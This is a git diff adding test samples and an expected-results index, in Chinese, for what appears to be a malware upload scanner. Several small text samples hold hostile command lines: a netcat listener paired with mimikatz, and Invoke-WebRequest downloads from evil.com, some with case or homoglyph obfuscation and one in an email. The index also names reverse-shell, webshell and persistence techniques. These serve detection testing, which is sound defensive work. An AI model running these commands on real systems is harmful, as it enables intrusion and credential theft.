W5QSu8fHx}}NQe;#K@Lg+aTowu@F`6I literal 0 HcmV?d00001 diff --git a/tests/samples/L3-015_keyword_in_docx.docx b/tests/samples/L3-015_keyword_in_docx.docx new file mode 100644 index 0000000000000000000000000000000000000000..cbd3277a937340511693293d95f4954be075a1f0 GIT binary patch literal 316 zcmWIWW@Zs#00H5c*w|MsX4YarHV6v?akO)OUP)?RNqk6UL27ZVUPW$>jXjXCx3d9@ z*xBeq=l~RB=5Bk&VgS?*!h%3to?n!rpOT+knhP`wWQb>8S$=k^Zg^@^P-KT-UQT{uN`N;blL!NDcLMDIg9b(rg~iqA2B5nT eqMd=Efzchv#BgtbH!B-R2@?=D0O@5Q4g&z7R!S}a literal 0 HcmV?d00001 diff --git a/tests/samples/L3-016_016_sample.ps1 b/tests/samples/L3-016_016_sample.ps1 new file mode 100644 index 0000000..e69de29 diff --git a/tests/samples/L3-017_017_sample.txt b/tests/samples/L3-017_017_sample.txt new file mode 100644 index 0000000..2e0e5d1 --- /dev/null +++ b/tests/samples/L3-017_017_sample.txt @@ -0,0 +1 @@ +nc -lv 4444 & mimikatz privilege::debug \ No newline at end of file diff --git a/tests/samples/L3-018_018_sample.txt b/tests/samples/L3-018_018_sample.txt new file mode 100644 index 0000000..031047e --- /dev/null +++ b/tests/samples/L3-018_018_sample.txt @@ -0,0 +1 @@ +iNvOkE-WebReQuEsT https://evil.com \ No newline at end of file diff --git a/tests/samples/L3-019_unicode_obfuscated.txt b/tests/samples/L3-019_unicode_obfuscated.txt new file mode 100644 index 0000000..62cf5e3 --- /dev/null +++ b/tests/samples/L3-019_unicode_obfuscated.txt @@ -0,0 +1 @@ +Іnvoke-WebRequest https://evil.com \ No newline at end of file diff --git a/tests/samples/L3-021_021_sample.eml b/tests/samples/L3-021_021_sample.eml new file mode 100644 index 0000000..e8e7338 --- /dev/null +++ b/tests/samples/L3-021_021_sample.eml @@ -0,0 +1,3 @@ +From: attacker@evil.com + +Invoke-WebRequest -Uri https://evil.com -OutFile payload.exe \ No newline at end of file diff --git a/tests/samples/L3-023_keyword_in_encrypted.zip b/tests/samples/L3-023_keyword_in_encrypted.zip new file mode 100644 index 0000000000000000000000000000000000000000..fa221bea68c924feca694a8e32098fccc4fecab7 GIT binary patch literal 139 zcmWIWW@Zs#00H5c*jSYsdoM{K8-zK4IJGP@N3W!!BsViRGdr=QN}-@A6DX9Lo@!;4 plA2VS9^lQ$B*K8(0H7IQ(7*_yV8#V_v$BEsj6i4xr0qc*1^}vO77(px~ZLDk{0Y)G+ K2h!>w4g&xH9SoiT literal 0 HcmV?d00001 diff --git a/tests/samples/L4-010_010_sample.txt b/tests/samples/L4-010_010_sample.txt new file mode 100644 index 0000000..b134165 --- /dev/null +++ b/tests/samples/L4-010_010_sample.txt @@ -0,0 +1 @@ +regex pattern shell \ No newline at end of file diff --git a/tests/samples/L5-001_clean_hello.exe b/tests/samples/L5-001_clean_hello.exe new file mode 100644 index 0000000000000000000000000000000000000000..4e30eb7818cde9cadf6fac1b4eb904a1b1621b13 GIT binary patch literal 924 zcmeZ`VjvqdkgXG@F~F69!H1C%#s$+47?=dOQH4j?FbYO=2mk=}+9%5M}~m R7F2&JFfb%c7zHCb1OT2bE1CcR literal 0 HcmV?d00001 diff --git a/tests/samples/L5-010_bad_mz.exe b/tests/samples/L5-010_bad_mz.exe new file mode 100644 index 0000000000000000000000000000000000000000..5fd1a20047e69a890b59a39edce4c04a789d12e3 GIT binary patch literal 2048 dcma!wVi*OZAut*OqaiRF0;3@?8UiCM1OTV;0JQ)B literal 0 HcmV?d00001 diff --git a/tests/samples/L5-011_truncated.exe b/tests/samples/L5-011_truncated.exe new file mode 100644 index 0000000000000000000000000000000000000000..c0d1b9da441d1da7a31a959c2312b4529c13a2dd GIT binary patch literal 308 ncmeZ`VjvqdkgXG@F~F69!H1C%#s$+47?=dOQH4j?FbYO=2mk=}j?FbYO=2mk=}j?FbYO=2mk=}j?FbYO=2mk=}j?FbYO=2mk=}jXjXCx3d9@ z*xBeq=l~RB?nbro@&dJkupkhZ=NF~ur{pJ><^s(E8&YlsjXjXCx3d9@ z*xBeq=l~RB&dr-4%nj5I!u&v7k)vOpUzDAcpPvmj0>;s|3-D%S5@EpY0H9_tXkY|U lSe%1y0J_x>?FhKLGMc1OeWROd<@pT?R9*ff2+)xD#C; cy0Z}atbt6pBLloy*+5cEK$s7tXMi{i0D226gr~m)} literal 0 HcmV?d00001 diff --git a/tests/samples/NEG-012_clean.csv b/tests/samples/NEG-012_clean.csv new file mode 100644 index 0000000..9c8d54f --- /dev/null +++ b/tests/samples/NEG-012_clean.csv @@ -0,0 +1,4 @@ +id,name,value +1,Alice,100 +2,Bob,200 +3,Charlie,300 \ No newline at end of file diff --git a/tests/samples/NEG-013_clean.eml b/tests/samples/NEG-013_clean.eml new file mode 100644 index 0000000..9b17883 --- /dev/null +++ b/tests/samples/NEG-013_clean.eml @@ -0,0 +1,6 @@ +From: user@company.com +To: me@company.com +Subject: 本周工作汇报 + +各位好: +本周项目进展顺利。 \ No newline at end of file diff --git a/tests/samples/NEG-014_clean.dll b/tests/samples/NEG-014_clean.dll new file mode 100644 index 0000000000000000000000000000000000000000..014f672301d77e775e2f7464a10e19e5961e505c GIT binary patch literal 104 McmeZ`VxS8E07K>gr~m)} literal 0 HcmV?d00001 diff --git a/tests/samples/NEG-015_clean.ttf b/tests/samples/NEG-015_clean.ttf new file mode 100644 index 0000000000000000000000000000000000000000..25894422bce5fd4eb6554fdbeb93ba22de7a56a7 GIT binary patch literal 204 McmZQzWEeI800EZ(0ssI2 literal 0 HcmV?d00001 diff --git a/tests/samples/NEG-016_clean.dwg b/tests/samples/NEG-016_clean.dwg new file mode 100644 index 0000000000000000000000000000000000000000..68fab1fa017185465e488133d7007c66e4712dd6 GIT binary patch literal 206 QcmZ>CHZ(9YWEds@00r9tNdN!< literal 0 HcmV?d00001 diff --git a/tests/samples/NEG-017_4layer_nested.zip b/tests/samples/NEG-017_4layer_nested.zip new file mode 100644 index 0000000000000000000000000000000000000000..26d5dad03b42feeff22690c3260d658c1659a6cb GIT binary patch literal 142 zcmWIWW@Zs#zyKT!G7PzUcmG0>C`v8JFDlV1sVGU#NlnaCfbbPk5=#;TycwB9m{C+i aIWi0!$ifIS0=!w-Kr)O#Xv1IvRs;a|vlMs$ literal 0 HcmV?d00001 diff --git a/tests/samples/NEG-018_clean.bat b/tests/samples/NEG-018_clean.bat new file mode 100644 index 0000000..142ef94 --- /dev/null +++ b/tests/samples/NEG-018_clean.bat @@ -0,0 +1,4 @@ +@echo off +echo Backing up files... +copy D:\data E:\backup +echo Done. \ No newline at end of file diff --git a/tests/samples/NEG-019_clean.ps1 b/tests/samples/NEG-019_clean.ps1 new file mode 100644 index 0000000..5d10efa --- /dev/null +++ b/tests/samples/NEG-019_clean.ps1 @@ -0,0 +1 @@ +Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status \ No newline at end of file diff --git a/tests/samples/NEG-020_clean.odt b/tests/samples/NEG-020_clean.odt new file mode 100644 index 0000000000000000000000000000000000000000..9b2b57c6284935185c9d7dfe4742d7a12a623bb4 GIT binary patch literal 277 zcmWIWW@Zs#00H5c*x0yZMm*|3HVAV7ac*XAYDr~5YGOe_PG)jqNoIbYepz0MUVdV6 zX0cv=L26z~esXDUYF>$6Noqw&0E%ITZmYATfQEoDHxMW1=aqm|R^;Z`FaJvX-4j42rf+(2#&~>3(4bj8E(7@;mWFk2vz?+o~B*_GX`9OLC Hh{FH?F$6lp literal 0 HcmV?d00001 diff --git a/tests/samples/_index_backup_pre_csv.json b/tests/samples/_index_backup_pre_csv.json new file mode 100644 index 0000000..b1bd859 --- /dev/null +++ b/tests/samples/_index_backup_pre_csv.json @@ -0,0 +1,347 @@ +{ + "total": 34, + "generated_at": "2026-10-27T18:42:30.316542", + "samples": [ + { + "category": "畸形文件", + "expected_verdict": "pass", + "expected_rules": [], + "description": "CRC 损坏的 ZIP → 畸形文件启发式", + "filename": "broken.zip", + "size": 125 + }, + { + "category": "ISO镜像", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)", + "filename": "evil.iso", + "size": 32775 + }, + { + "category": "CHM帮助", + "expected_verdict": "reject", + "expected_rules": [ + "ChmWithScript" + ], + "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", + "filename": "evil_help.chm", + "size": 1691 + }, + { + "category": "Linux可执行", + "expected_verdict": "reject", + "expected_rules": [ + "LinuxExecutable" + ], + "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", + "filename": "linux_malicious", + "size": 71 + }, + { + "category": "LOLBin", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)", + "filename": "lolbin.cmd", + "size": 114 + }, + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": [ + "VBAAutoExecShell", + "VBAAutoExec" + ], + "description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell", + "filename": "macro_alert.docm", + "size": 2586 + }, + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": [ + "DesktopFileAutoExec" + ], + "description": ".desktop 文件恶意 Exec 字段", + "filename": "malicious.desktop", + "size": 114 + }, + { + "category": "PDF载荷", + "expected_verdict": "reject", + "expected_rules": [ + "PdfJavaScript", + "PdfOpenAction" + ], + "description": "PDF /OpenAction /JS app.launchURL 自动执行", + "filename": "malicious.pdf", + "size": 534 + }, + { + "category": "挖矿", + "expected_verdict": "suspicious", + "expected_rules": [ + "C7_Linux_Miner_Generic" + ], + "description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)", + "filename": "miner_config.json", + "size": 123 + }, + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 PDF(只有简单文本,无 JS/自动执行)", + "filename": "normal.pdf", + "size": 439 + }, + { + "category": "阴性对照", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)", + "filename": "normal_deploy.sh", + "size": 155 + }, + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常纯文本文件", + "filename": "normal_readme.txt", + "size": 162 + }, + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 Word 文档(无宏、无外链)", + "filename": "normal_report.docx", + "size": 1212 + }, + { + "category": "OLE嵌入", + "expected_verdict": "pass", + "expected_rules": [ + "OleToolsUnavailable" + ], + "description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)", + "filename": "ole_dropper.doc", + "size": 1641 + }, + { + "category": "PE恶意程序", + "expected_verdict": "reject", + "expected_rules": [ + "C1_PE_Downloader_Loader" + ], + "description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService", + "filename": "pe_downloader.exe", + "size": 1148 + }, + { + "category": "PE恶意程序", + "expected_verdict": "reject", + "expected_rules": [ + "C1_PE_ProcessInjection" + ], + "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合", + "filename": "pe_injection.exe", + "size": 1129 + }, + { + "category": "持久化", + "expected_verdict": "reject", + "expected_rules": [ + "C7_Linux_Persistence_Crontab" + ], + "description": "crontab 注入 wget/curl 下载执行", + "filename": "persist_cron.sh", + "size": 95 + }, + { + "category": "钓鱼邮件", + "expected_verdict": "reject", + "expected_rules": [ + "EmailAttachmentDangerous", + "EmailAttachmentDisguised", + "EmailAttachmentWebshell", + "EmailPhishingKeyword" + ], + "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", + "filename": "phishing.eml", + "size": 1869 + }, + { + "category": "伪装", + "expected_verdict": "reject", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)", + "filename": "photo.jpg.php", + "size": 29 + }, + { + "category": "勒索", + "expected_verdict": "reject", + "expected_rules": [ + "C8_Ransomware_Encryption" + ], + "description": "加密 API + 卷影删除 + 勒索信文件名", + "filename": "ransom_dropper.exe.txt", + "size": 215 + }, + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": [ + "OfficeEncrypted" + ], + "description": "加密 DOCX(密码 changeme,msoffcrypto 加密)", + "filename": "sealed.docx", + "size": 6656 + }, + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": [ + "OfficeEncrypted" + ], + "description": "加密 XLSX(密码 changeme,msoffcrypto 加密)", + "filename": "sealed.xlsx", + "size": 6656 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)", + "filename": "shell_aspx.aspx", + "size": 169 + }, + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": [ + "ShellScriptDangerous", + "C7_Linux_ReverseShell_Bash" + ], + "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", + "filename": "shell_bash_devtcp.sh", + "size": 51 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "C3_JSP_Webshell_RuntimeExec" + ], + "description": "JSP Runtime.getRuntime().exec 命令执行", + "filename": "shell_jsp_runtime.jsp", + "size": 316 + }, + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": [ + "ShellScriptDangerous", + "C7_Linux_ReverseShell_NC" + ], + "description": "nc -e /bin/bash 反弹 Shell", + "filename": "shell_nc.sh", + "size": 42 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "C3_PHP_Webshell_Oneliner" + ], + "description": "PHP oneliner eval + echo 组合", + "filename": "shell_php_eval.php", + "size": 40 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "C3_PHP_Webshell_Obfuscated" + ], + "description": "PHP base64 + assert 混淆", + "filename": "shell_php_obf.php", + "size": 61 + }, + { + "category": "Linux后门", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)", + "filename": "shell_python.py", + "size": 211 + }, + { + "category": "LNK", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)", + "filename": "shortcut.lnk", + "size": 143 + }, + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": [ + "AttachedTemplate" + ], + "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", + "filename": "template_backdoor.docx", + "size": 2176 + }, + { + "category": "Office宏", + "expected_verdict": "malicious", + "expected_rules": [ + "VBAAutoExecShell" + ], + "description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)", + "filename": "vba_autoexec.bas", + "size": 98 + }, + { + "category": "WPS宏", + "expected_verdict": "malicious", + "expected_rules": [ + "C7_Linux_ReverseShell_Bash", + "C7_Linux_ReverseShell_Misc", + "DangerousExecutableExtension" + ], + "description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)", + "filename": "wps_macro.js", + "size": 142 + }, + { + "category": "攻击载体", + "expected_verdict": "reject", + "expected_rules": [ + "PathTraversal" + ], + "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", + "filename": "zip_traversal.zip", + "size": 164 + } + ] +} \ No newline at end of file diff --git a/tests/samples/index.json b/tests/samples/index.json index b1bd859..e9880b3 100644 --- a/tests/samples/index.json +++ b/tests/samples/index.json @@ -1,347 +1,868 @@ { - "total": 34, - "generated_at": "2026-10-27T18:42:30.316542", + "meshsafe_target_version": "v0.2.1", + "generated_at": "2026-10-29T11:32:38.543046", + "csv_source": "用例.csv", "samples": [ { - "category": "畸形文件", - "expected_verdict": "pass", - "expected_rules": [], - "description": "CRC 损坏的 ZIP → 畸形文件启发式", - "filename": "broken.zip", - "size": 125 - }, - { - "category": "ISO镜像", - "expected_verdict": "suspicious", - "expected_rules": [ - "DangerousExecutableExtension" - ], - "description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)", - "filename": "evil.iso", - "size": 32775 - }, - { - "category": "CHM帮助", - "expected_verdict": "reject", - "expected_rules": [ - "ChmWithScript" - ], - "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", - "filename": "evil_help.chm", - "size": 1691 - }, - { - "category": "Linux可执行", - "expected_verdict": "reject", - "expected_rules": [ - "LinuxExecutable" - ], - "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", - "filename": "linux_malicious", - "size": 71 - }, - { - "category": "LOLBin", - "expected_verdict": "suspicious", - "expected_rules": [ - "DangerousExecutableExtension" - ], - "description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)", - "filename": "lolbin.cmd", - "size": 114 - }, - { - "category": "Office宏", - "expected_verdict": "reject", - "expected_rules": [ - "VBAAutoExecShell", - "VBAAutoExec" - ], - "description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell", - "filename": "macro_alert.docm", - "size": 2586 - }, - { - "category": "Linux后门", - "expected_verdict": "reject", - "expected_rules": [ - "DesktopFileAutoExec" - ], - "description": ".desktop 文件恶意 Exec 字段", - "filename": "malicious.desktop", - "size": 114 - }, - { - "category": "PDF载荷", - "expected_verdict": "reject", - "expected_rules": [ - "PdfJavaScript", - "PdfOpenAction" - ], - "description": "PDF /OpenAction /JS app.launchURL 自动执行", - "filename": "malicious.pdf", - "size": 534 - }, - { - "category": "挖矿", - "expected_verdict": "suspicious", - "expected_rules": [ - "C7_Linux_Miner_Generic" - ], - "description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)", - "filename": "miner_config.json", - "size": 123 - }, - { - "category": "阴性对照", - "expected_verdict": "pass", - "expected_rules": [], - "description": "正常 PDF(只有简单文本,无 JS/自动执行)", - "filename": "normal.pdf", - "size": 439 - }, - { - "category": "阴性对照", - "expected_verdict": "suspicious", - "expected_rules": [ - "DangerousExecutableExtension" - ], - "description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)", - "filename": "normal_deploy.sh", - "size": 155 - }, - { - "category": "阴性对照", - "expected_verdict": "pass", - "expected_rules": [], - "description": "正常纯文本文件", - "filename": "normal_readme.txt", - "size": 162 - }, - { - "category": "阴性对照", - "expected_verdict": "pass", - "expected_rules": [], - "description": "正常 Word 文档(无宏、无外链)", - "filename": "normal_report.docx", - "size": 1212 - }, - { - "category": "OLE嵌入", + "filename": "L0-001_jpg_normal.jpg", + "case_id": "L0-001", + "category": "L0", "expected_verdict": "pass", "expected_rules": [ - "OleToolsUnavailable" + "identify_type" ], - "description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)", - "filename": "ole_dropper.doc", - "size": 1641 + "description": "正常文件幻数识别-JPG" }, { - "category": "PE恶意程序", + "filename": "L0-002_png_normal.png", + "case_id": "L0-002", + "category": "L0", + "expected_verdict": "pass", + "expected_rules": [ + "identify_type" + ], + "description": "正常文件幻数识别-PNG" + }, + { + "filename": "L0-003_docx_normal.docx", + "case_id": "L0-003", + "category": "L0", + "expected_verdict": "pass", + "expected_rules": [ + "identify_type" + ], + "description": "正常文件幻数识别-DOCX" + }, + { + "filename": "L0-004_pdf_normal.pdf", + "case_id": "L0-004", + "category": "L0", + "expected_verdict": "pass", + "expected_rules": [ + "identify_type" + ], + "description": "正常文件幻数识别-PDF" + }, + { + "filename": "L0-005_pe_clean.exe", + "case_id": "L0-005", + "category": "L0", + "expected_verdict": "review", + "expected_rules": [ + "DangerousExtension", + "UnsignedExecutable" + ], + "description": "正常文件幻数识别-干净PE" + }, + { + "filename": "L0-006_disguise_jpg_pe.jpg", + "case_id": "L0-006", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "C1_PE_Downloader_Loader" + "ExtensionMismatch" ], - "description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService", - "filename": "pe_downloader.exe", - "size": 1148 + "description": "jpg 后缀 + 实际 PE MZ 头" }, { - "category": "PE恶意程序", + "filename": "L0-007_disguise_txt_pdf.txt", + "case_id": "L0-007", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "C1_PE_ProcessInjection" + "ExtensionMismatch" ], - "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合", - "filename": "pe_injection.exe", - "size": 1129 + "description": "后缀伪装:txt后缀,实际PDF幻数" }, { - "category": "持久化", + "filename": "L0-008_disguise_png_zip.png", + "case_id": "L0-008", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "C7_Linux_Persistence_Crontab" + "ExtensionMismatch" ], - "description": "crontab 注入 wget/curl 下载执行", - "filename": "persist_cron.sh", - "size": 95 + "description": "后缀伪装:png后缀,实际ZIP幻数" }, { - "category": "钓鱼邮件", + "filename": "L0-009_double_ext_pdf_exe.pdf.exe", + "case_id": "L0-009", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "EmailAttachmentDangerous", - "EmailAttachmentDisguised", - "EmailAttachmentWebshell", - "EmailPhishingKeyword" + "DoubleExtension", + "DangerousExtension" ], - "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", - "filename": "phishing.eml", - "size": 1869 + "description": "双扩展名伪装:report.pdf.exe" }, { - "category": "伪装", + "filename": "L0-010_double_ext_txt_ps1.txt.ps1", + "case_id": "L0-010", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "DangerousExecutableExtension" + "DoubleExtension", + "DangerousExtension" ], - "description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)", - "filename": "photo.jpg.php", - "size": 29 + "description": "双扩展名伪装:data.txt.ps1" }, { - "category": "勒索", + "filename": "L0-011_double_ext_docx_js.docx.js", + "case_id": "L0-011", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "C8_Ransomware_Encryption" + "DoubleExtension", + "DangerousExtension" ], - "description": "加密 API + 卷影删除 + 勒索信文件名", - "filename": "ransom_dropper.exe.txt", - "size": 215 + "description": "双扩展名伪装:note.docx.js" }, { - "category": "加密Office", + "filename": "L0-012_double_ext_xlsx_bat.xlsx.bat", + "case_id": "L0-012", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ - "OfficeEncrypted" + "DoubleExtension", + "DangerousExtension" ], - "description": "加密 DOCX(密码 changeme,msoffcrypto 加密)", - "filename": "sealed.docx", - "size": 6656 + "description": "双扩展名伪装:log.xlsx.bat" }, { - "category": "加密Office", - "expected_verdict": "reject", + "filename": "L0-013_clean.ps1", + "case_id": "L0-013", + "category": "L0", + "expected_verdict": "review", "expected_rules": [ - "OfficeEncrypted" + "DangerousExtension" ], - "description": "加密 XLSX(密码 changeme,msoffcrypto 加密)", - "filename": "sealed.xlsx", - "size": 6656 + "description": "干净 ps1 文件" }, { - "category": "Webshell", - "expected_verdict": "reject", + "filename": "L0-014_clean.bat", + "case_id": "L0-014", + "category": "L0", + "expected_verdict": "review", "expected_rules": [ - "DangerousExecutableExtension" + "DangerousExtension" ], - "description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)", - "filename": "shell_aspx.aspx", - "size": 169 + "description": "干净 bat 文件" }, { - "category": "Linux后门", - "expected_verdict": "reject", + "filename": "L0-015_clean.cmd", + "case_id": "L0-015", + "category": "L0", + "expected_verdict": "review", "expected_rules": [ - "ShellScriptDangerous", - "C7_Linux_ReverseShell_Bash" + "DangerousExtension" ], - "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", - "filename": "shell_bash_devtcp.sh", - "size": 51 + "description": "干净 cmd 文件" }, { - "category": "Webshell", - "expected_verdict": "reject", + "filename": "L0-016_clean.vbs", + "case_id": "L0-016", + "category": "L0", + "expected_verdict": "review", "expected_rules": [ - "C3_JSP_Webshell_RuntimeExec" + "DangerousExtension" ], - "description": "JSP Runtime.getRuntime().exec 命令执行", - "filename": "shell_jsp_runtime.jsp", - "size": 316 + "description": "干净 vbs 文件" }, { - "category": "Linux后门", - "expected_verdict": "reject", + "filename": "L0-017_clean.js", + "case_id": "L0-017", + "category": "L0", + "expected_verdict": "review", "expected_rules": [ - "ShellScriptDangerous", - "C7_Linux_ReverseShell_NC" + "DangerousExtension" ], - "description": "nc -e /bin/bash 反弹 Shell", - "filename": "shell_nc.sh", - "size": 42 + "description": "干净 js 文件" }, { - "category": "Webshell", - "expected_verdict": "reject", - "expected_rules": [ - "C3_PHP_Webshell_Oneliner" - ], - "description": "PHP oneliner eval + echo 组合", - "filename": "shell_php_eval.php", - "size": 40 - }, - { - "category": "Webshell", - "expected_verdict": "reject", - "expected_rules": [ - "C3_PHP_Webshell_Obfuscated" - ], - "description": "PHP base64 + assert 混淆", - "filename": "shell_php_obf.php", - "size": 61 - }, - { - "category": "Linux后门", - "expected_verdict": "suspicious", - "expected_rules": [ - "DangerousExecutableExtension" - ], - "description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)", - "filename": "shell_python.py", - "size": 211 - }, - { - "category": "LNK", - "expected_verdict": "suspicious", - "expected_rules": [ - "DangerousExecutableExtension" - ], - "description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)", - "filename": "shortcut.lnk", - "size": 143 - }, - { - "category": "Office宏", - "expected_verdict": "reject", - "expected_rules": [ - "AttachedTemplate" - ], - "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", - "filename": "template_backdoor.docx", - "size": 2176 - }, - { - "category": "Office宏", - "expected_verdict": "malicious", - "expected_rules": [ - "VBAAutoExecShell" - ], - "description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)", - "filename": "vba_autoexec.bas", - "size": 98 - }, - { - "category": "WPS宏", - "expected_verdict": "malicious", - "expected_rules": [ - "C7_Linux_ReverseShell_Bash", - "C7_Linux_ReverseShell_Misc", - "DangerousExecutableExtension" - ], - "description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)", - "filename": "wps_macro.js", - "size": 142 - }, - { - "category": "攻击载体", + "filename": "L0-018_zip_traversal.zip", + "case_id": "L0-018", + "category": "L0", "expected_verdict": "reject", "expected_rules": [ "PathTraversal" ], - "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", - "filename": "zip_traversal.zip", - "size": 164 + "description": "ZIP单级路径穿越:../test.txt" + }, + { + "filename": "L0-019_zip_deep_traversal.zip", + "case_id": "L0-019", + "category": "L0", + "expected_verdict": "reject", + "expected_rules": [ + "PathTraversal" + ], + "description": "ZIP多级路径穿越:../../a.txt" + }, + { + "filename": "L0-020_zip_bomb.zip", + "case_id": "L0-020", + "category": "L0", + "expected_verdict": "reject", + "expected_rules": [ + "ArchiveBombSuspect" + ], + "description": "ZIP炸弹42.zip" + }, + { + "filename": "L0-022_3layer_nested.zip", + "case_id": "L0-022", + "category": "L0", + "expected_verdict": "pass", + "expected_rules": [ + "recursive_ok" + ], + "description": "3层无害嵌套ZIP" + }, + { + "filename": "L0-024_encrypted.zip", + "case_id": "L0-024", + "category": "L0", + "expected_verdict": "review", + "expected_rules": [ + "EncryptedArchive" + ], + "description": "加密 ZIP(标记待验证)" + }, + { + "filename": "L0-025_corrupt_zip.zip", + "case_id": "L0-025", + "category": "L0", + "expected_verdict": "review", + "expected_rules": [ + "ArchiveBroken" + ], + "description": "截断损坏 ZIP 头" + }, + { + "filename": "L0-026_corrupt_direntry.zip", + "case_id": "L0-026", + "category": "L0", + "expected_verdict": "review", + "expected_rules": [ + "ArchiveBroken" + ], + "description": "损坏ZIP目录项" + }, + { + "filename": "L0-029_zero_byte_exe.exe", + "case_id": "L0-029", + "category": "L0", + "expected_verdict": "review", + "expected_rules": [ + "ZeroByteFile", + "DangerousExtension" + ], + "description": "空文件(0字节)后缀exe" + }, + { + "filename": "L1-001_eicar.txt", + "case_id": "L1-001", + "category": "L1", + "expected_verdict": "reject", + "expected_rules": [ + "ClamAV:EICAR" + ], + "description": "EICAR标准测试串文本" + }, + { + "filename": "L1-002_eicar_in_zip.zip", + "case_id": "L1-002", + "category": "L1", + "expected_verdict": "reject", + "expected_rules": [ + "ClamAV:EICAR" + ], + "description": "EICAR放入zip压缩包" + }, + { + "filename": "L1-004_eicar_in_docx.docx", + "case_id": "L1-004", + "category": "L1", + "expected_verdict": "reject", + "expected_rules": [ + "ClamAV:EICAR" + ], + "description": "EICAR放入docx内嵌(OLE)" + }, + { + "filename": "L1-005_eicar_modified.txt", + 